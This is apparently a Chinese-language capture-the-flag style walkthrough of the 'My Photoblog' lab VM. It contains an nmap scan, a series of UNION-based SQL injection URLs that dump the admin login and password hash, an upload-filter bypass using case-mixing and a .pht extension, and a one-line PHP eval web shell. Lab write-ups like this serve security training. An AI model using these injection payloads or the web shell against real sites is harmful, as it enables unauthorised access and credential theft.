My Photoblog靶機滲透WP
一、環(huán)境說明
題目給了一個iso鏡像文件,我們通過vmware安裝以后,直接就進系統(tǒng)了

二、信息收集
1.獲取靶機IP
既然我們已經可以進入靶機系統(tǒng)了,直接ifconfig查一下IP

通過nmap查一下開放的端口
$ nmap -A -p- 192.168.31.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 03:45 EDT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 86.22% done; ETC: 03:45 (0:00:00 remaining)
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 03:45 (0:00:06 remaining)
Nmap scan report for 192.168.31.130
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
| ssh-hostkey:
| 1024 34:cd:b4:d4:a2:61:b3:95:c6:43:35:ab:fd:5b:6d:50 (DSA)
|_ 2048 2f:1c:23:88:7a:79:f2:35:1e:56:65:a7:0d:2f:1f:54 (RSA)
80/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-title: My Photoblog - last picture
|_http-server-header: Apache/2.2.16 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.21 seconds
發(fā)現只開了22端口和80端口
三、漏洞發(fā)現階段
1.html代碼查看

發(fā)現兩個信息,一個是cat.php?id=1,懷疑可以進行SQL注入;另一個是發(fā)現了上傳的路徑,懷疑可以進行上傳php shell
2.SQL注入
2.1 判斷是否存在注入
上述提到懷疑可以進行sql注入的url,我們先探探路,看下是否可以進行SQL注入,構造url如下:
http://192.168.31.130/cat.php?id=1 and 1=1#
頁面可以正常顯示
http://192.168.31.130/cat.php?id=1 and 1=2#
發(fā)現頁面不能正常顯示,說明參數id存在sql注入
2.2 判斷列數
http://192.168.31.130/cat.php?id=1 order by 1
http://192.168.31.130/cat.php?id=1 order by 2
http://192.168.31.130/cat.php?id=1 order by n
發(fā)現n到5的時候報錯,那么該表列數為4
2.3 聯(lián)查查詢獲取數據庫名稱
首先判斷顯示的列位
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,2,3,4#
網頁顯示如圖:

可以看到第二列為顯示位,我們在2上做文章,首先查詢數據庫名:
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,database(),3,4#

可以得知數據庫名為 photoblog
2.4 聯(lián)合查詢遍歷表名
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables#

我們看到有一個users表,應該保存的是網站后臺的賬號密碼
2.5 查詢users列名
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name = 'users'#

2.6 查詢users表數據
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,login,3,4 from users#

由此獲得后臺管理員用戶名 admin
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,password,3,4 from users#

獲得密碼密文,長度32猜測為md5,拿去md5破解網站試試:

得到明文P4ssw0rd
我們拿到這些信息以后,就可以登錄后臺了

3.文件上傳繞過

登錄進入后臺可以看到有一個上傳圖片的地方,我們開啟burp然后直接上傳php試試

可以看到對文件名進行了過濾,我們試試%00截斷方法

可以上傳,但是不能訪問,再試試雙寫法,發(fā)現上傳成功,但是無法訪問


再試試大小寫混淆法:

發(fā)現可以,我們訪問試試看

上傳和訪問都成功,后面我又試了php另一個擴展名pht發(fā)現也是可以的
4.一句話木馬及蟻劍連接
我們構造一句話木馬并上傳到shell.pht:
<?PHP @eval($_POST['cmd']);?>
然后上蟻劍連接:


完事